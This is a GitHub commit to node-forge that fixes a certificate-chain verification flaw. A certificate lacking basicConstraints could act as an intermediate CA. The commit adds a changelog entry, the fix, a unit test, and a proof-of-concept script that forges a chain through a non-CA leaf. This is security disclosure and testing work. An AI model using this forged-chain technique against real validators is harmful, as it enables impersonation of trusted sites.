Skip to content

Commit 2e49283

Browse files
committed
Add x509 basicConstraints check.
- [x590] Add chain verification check for absent `basicConstraints` on non-leaf certificates.
1 parent bdecf11 commit 2e49283

File tree

4 files changed

+187
-0
lines changed

4 files changed

+187
-0
lines changed

CHANGELOG.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,15 @@ Forge ChangeLog
4141
- Austin Chu, Sohee Kim, and Corban Villa.
4242
- CVE ID: [CVE-2026-33895](https://www.cve.org/CVERecord?id=CVE-2026-33895)
4343
- GHSA ID: [GHSA-q67f-28xg-22rw](https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw)
44+
- **HIGH**: `basicConstraints` bypass in certificate chain verification.
45+
- `pki.verifyCertificateChain()` does not enforce RFC 5280 `basicConstraints`
46+
requirements when an intermediate certificate lacks both the
47+
`basicConstraints` and `keyUsage` extensions. This allows any leaf
48+
certificate (without these extensions) to act as a CA and sign other
49+
certificates, which node-forge will accept as valid.
50+
- Reported by Doruk Tan Ozturk (@peaktwilight) - doruk.ch
51+
- CVE ID: [CVE-TBD]()
52+
- GHSA ID: [GHSA-2328-f5f3-gj25](https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25)
4453

4554
### Changed
4655
- [jsbn] Update to `jsbn` 1.4. Sync partly back to original style for easier
@@ -56,6 +65,8 @@ Forge ChangeLog
5665
required to be eight octets for block types 1 and 2.
5766
- [rsa] Fix RFC 8017 DigestInfo parsing to require a sequence length of two.
5867
- [ed25519] Add canonical signature scaler check for S < L.
68+
- [x590] Add chain verification check for absent `basicConstraints` on non-leaf
69+
certificates.
5970

6071
## 1.3.3 - 2025-12-02
6172

lib/x509.js

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3167,6 +3167,15 @@ pki.verifyCertificateChain = function(caStore, chain, options) {
31673167
};
31683168
}
31693169
}
3170+
// check for absent basicConstraints on non-leaf certificates
3171+
if(error === null && bcExt === null) {
3172+
error = {
3173+
message:
3174+
'Certificate is missing basicConstraints extension and cannot ' +
3175+
'be used as a CA.',
3176+
error: pki.certificateError.bad_certificate
3177+
};
3178+
}
31703179
// basic constraints cA flag must be set
31713180
if(error === null && bcExt !== null && !bcExt.cA) {
31723181
// bad certificate

tests/pocs/ghsa-2328-f5f3-gj25.js

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
// Security Advisory PoC
2+
//
3+
// https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25
4+
//
5+
// Doruk Tan Ozturk (@peaktwilight) - doruk.ch
6+
7+
const forge = require('../..');
8+
const pki = forge.pki;
9+
10+
function generateKeyPair() {
11+
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
12+
}
13+
14+
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
15+
16+
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
17+
const rootKeys = generateKeyPair();
18+
const rootCert = pki.createCertificate();
19+
rootCert.publicKey = rootKeys.publicKey;
20+
rootCert.serialNumber = '01';
21+
rootCert.validity.notBefore = new Date();
22+
rootCert.validity.notAfter = new Date();
23+
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
24+
25+
const rootAttrs = [
26+
{ name: 'commonName', value: 'Legitimate Root CA' },
27+
{ name: 'organizationName', value: 'PoC Security Test' }
28+
];
29+
rootCert.setSubject(rootAttrs);
30+
rootCert.setIssuer(rootAttrs);
31+
rootCert.setExtensions([
32+
{ name: 'basicConstraints', cA: true, critical: true },
33+
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
34+
]);
35+
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
36+
37+
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
38+
// This certificate should NOT be allowed to sign other certificates
39+
const leafKeys = generateKeyPair();
40+
const leafCert = pki.createCertificate();
41+
leafCert.publicKey = leafKeys.publicKey;
42+
leafCert.serialNumber = '02';
43+
leafCert.validity.notBefore = new Date();
44+
leafCert.validity.notAfter = new Date();
45+
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
46+
47+
const leafAttrs = [
48+
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
49+
{ name: 'organizationName', value: 'PoC Security Test' }
50+
];
51+
leafCert.setSubject(leafAttrs);
52+
leafCert.setIssuer(rootAttrs);
53+
// NO basicConstraints extension — NO keyUsage extension
54+
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
55+
56+
// 3. Create a "victim" certificate signed by the leaf
57+
// This simulates an attacker using a non-CA cert to forge certificates
58+
const victimKeys = generateKeyPair();
59+
const victimCert = pki.createCertificate();
60+
victimCert.publicKey = victimKeys.publicKey;
61+
victimCert.serialNumber = '03';
62+
victimCert.validity.notBefore = new Date();
63+
victimCert.validity.notAfter = new Date();
64+
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
65+
66+
const victimAttrs = [
67+
{ name: 'commonName', value: 'victim.example.com' },
68+
{ name: 'organizationName', value: 'Victim Corp' }
69+
];
70+
victimCert.setSubject(victimAttrs);
71+
victimCert.setIssuer(leafAttrs);
72+
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
73+
74+
// 4. Verify the chain: root -> leaf -> victim
75+
const caStore = pki.createCaStore([rootCert]);
76+
77+
try {
78+
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
79+
//const result = pki.verifyCertificateChain(caStore, [leafCert, victimCert]);
80+
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
81+
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
82+
console.log(' This violates RFC 5280 Section 6.1.4.');
83+
} catch (e) {
84+
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
85+
}

tests/unit/x509.js

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1485,6 +1485,88 @@ var UTIL = require('../../lib/util');
14851485
ASSERT.equal(certPem, outPem);
14861486
});
14871487

1488+
it('should require basicConstraints on non-leaf certificates', function() {
1489+
// see GHSA-2328-f5f3-gj25 and PoC in /tests/pocs/
1490+
function generateKeyPair() {
1491+
return PKI.rsa.generateKeyPair({bits: 2048, e: 0x10001});
1492+
}
1493+
1494+
// 1. Create a legitimate Root CA (self-signed, with basicConstraints
1495+
// cA=true)
1496+
var rootKeys = generateKeyPair();
1497+
var rootCert = PKI.createCertificate();
1498+
rootCert.publicKey = rootKeys.publicKey;
1499+
rootCert.serialNumber = '01';
1500+
rootCert.validity.notBefore = new Date();
1501+
rootCert.validity.notAfter = new Date();
1502+
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
1503+
1504+
var rootAttrs = [
1505+
{name: 'commonName', value: 'Legitimate Root CA'},
1506+
{name: 'organizationName', value: 'PoC Security Test'}
1507+
];
1508+
rootCert.setSubject(rootAttrs);
1509+
rootCert.setIssuer(rootAttrs);
1510+
rootCert.setExtensions([
1511+
{name: 'basicConstraints', cA: true, critical: true},
1512+
{name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true}
1513+
]);
1514+
rootCert.sign(rootKeys.privateKey, MD.sha256.create());
1515+
1516+
// 2. Create a "leaf" certificate signed by root — NO basicConstraints,
1517+
// NO keyUsage This certificate should NOT be allowed to sign other
1518+
// certificates
1519+
var leafKeys = generateKeyPair();
1520+
var leafCert = PKI.createCertificate();
1521+
leafCert.publicKey = leafKeys.publicKey;
1522+
leafCert.serialNumber = '02';
1523+
leafCert.validity.notBefore = new Date();
1524+
leafCert.validity.notAfter = new Date();
1525+
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
1526+
1527+
var leafAttrs = [
1528+
{name: 'commonName', value: 'Non-CA Leaf Certificate'},
1529+
{name: 'organizationName', value: 'PoC Security Test'}
1530+
];
1531+
leafCert.setSubject(leafAttrs);
1532+
leafCert.setIssuer(rootAttrs);
1533+
// NO basicConstraints extension — NO keyUsage extension
1534+
leafCert.sign(rootKeys.privateKey, MD.sha256.create());
1535+
1536+
// 3. Create a "victim" certificate signed by the leaf
1537+
// This simulates an attacker using a non-CA cert to forge certificates
1538+
var victimKeys = generateKeyPair();
1539+
var victimCert = PKI.createCertificate();
1540+
victimCert.publicKey = victimKeys.publicKey;
1541+
victimCert.serialNumber = '03';
1542+
victimCert.validity.notBefore = new Date();
1543+
victimCert.validity.notAfter = new Date();
1544+
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
1545+
1546+
var victimAttrs = [
1547+
{name: 'commonName', value: 'victim.example.com'},
1548+
{name: 'organizationName', value: 'Victim Corp'}
1549+
];
1550+
victimCert.setSubject(victimAttrs);
1551+
victimCert.setIssuer(leafAttrs);
1552+
victimCert.sign(leafKeys.privateKey, MD.sha256.create());
1553+
1554+
// 4. Verify the chain: root -> leaf -> victim
1555+
var caStore = PKI.createCaStore([rootCert]);
1556+
1557+
ASSERT.throws(
1558+
function() {
1559+
PKI.verifyCertificateChain(caStore, [victimCert, leafCert]);
1560+
},
1561+
function(err) {
1562+
var exMsg =
1563+
'Certificate is missing basicConstraints extension and cannot ' +
1564+
'be used as a CA.';
1565+
var exErr = 'forge.pki.BadCertificate';
1566+
return err.message === exMsg && err.error === exErr;
1567+
}
1568+
);
1569+
});
14881570
});
14891571

14901572
// TODO: add sha-512 and sha-256 fingerprint tests

0 commit comments

Comments
 (0)